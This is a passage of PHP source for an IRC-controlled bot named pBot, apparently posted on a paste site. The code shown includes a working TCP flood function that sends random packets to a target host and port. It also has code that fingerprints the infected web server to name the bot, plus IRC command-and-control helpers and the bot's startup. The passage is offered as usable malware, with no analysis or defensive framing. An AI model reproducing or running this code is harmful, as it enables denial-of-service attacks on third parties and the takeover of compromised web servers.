  771.                         $packet = "";
  772.                         for($i=0;$i<$packetsize;$i++)
  773.                                 $packet .= chr(mt_rand(1,256));
  774.                        
  775.                         for($i=0;$i<$packets;$i++)
  776.                         {
  777.                                 if(!$fp=fsockopen("tcp://".$host,$port,$e,$s,5))
  778.                                 {
  779.                                         $this->privmsg( $this->get_chan( ),"[\2TcpFlood\2]: Error: <$e>");
  780.                                         return 0;
  781.                                 }
  782.                                 else
  783.                                 {
  784.                                         fwrite($fp,$packet);
  785.                                         fclose($fp);
  786.                                 }
  787.                                 sleep($delay);
  788.                         }
  789.                         $this->privmsg( $this->get_chan( ),"[\2TcpFlood Finished!\2]: Config - $packets for $host:$port.");
  790.                 }
  791.                
  792.                 function send($msg)
  793.                 {
  794.                         fwrite($this->conn,"$msg\r\n");
  795.                 }
  796.                
  797.                 function join($chan,$key=NULL)
  798.                 {
  799.                         $this->send("JOIN $chan $key");
  800.                 }
  801.                
  802.                 function privmsg($to,$msg)
  803.                 {
  804.                         $this->send("PRIVMSG $to :$msg");
  805.                 }
  806.                
  807.                 function notice($to,$msg)
  808.                 {
  809.                         $this->send("NOTICE $to :$msg");
  810.                 }
  811.                  
  812.                  function set_nick()
  813.                  {
  814.                         $prefix = "[win32]";
  815.                         if(isset($_SERVER['SERVER_SOFTWARE']))
  816.                         {
  817.                                 if( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "apache" ) )
  818.                                         $prefix = "[A]";
  819.                                 elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "iis" ) )
  820.                                         $prefix = "[I]";
  821.                                 elseif( strstr( strtolower( $_SERVER[ 'SERVER_SOFTWARE' ] ), "xitami" ) )
  822.                                         $prefix = "[X]";
  823.                                 else
  824.                                         $prefix = "[U]";
  825.                         }
  826.                        
  827.                         if( !$this->is_safe( ) )
  828.                         {
  829.                                 $prefix .= "[lnx]";
  830.                         }
  831.        
  832.                         $random_number = "";
  833.                         for( $i = 0; $i < $this->config[ 'maxrand' ]; $i++ )
  834.                         {
  835.                                 $random_number .= mt_rand( 0, 9 );
  836.                         }
  837.        
  838.                         $this->nick = sprintf( $prefix.$this->config[ 'nickform' ], $random_number );
  839.                         $this->send("NICK ".$this->nick);
  840.                  }
  841.                  
  842.                 function parse_url_s( $url )
  843.                 {
  844.                         $URLpcs = ( parse_url( $url ) );
  845.                         $PathPcs = explode( "/", $URLpcs['path'] );
  846.                         $URLpcs['file'] = end( $PathPcs );
  847.                         unset( $PathPcs[ key( $PathPcs ) ] );
  848.                         $URLpcs['dir'] = implode("/",$PathPcs);
  849.                        
  850.                         $fileext = explode( '.', $URLpcs['file'] );
  851.                        
  852.                         if(count($fileext))
  853.                         {
  854.                                 $URLpcs['file_ext'] = $fileext[ count( $fileext ) - 1 ];
  855.                         }
  856.                        
  857.                         return ($URLpcs);
  858.                 }
  859.         }
  860.        
  861.         $bot = new pBot;
  862.         $bot->start();
  863.  
  864. ?>

Reply to "bot"

Here you can reply to the paste above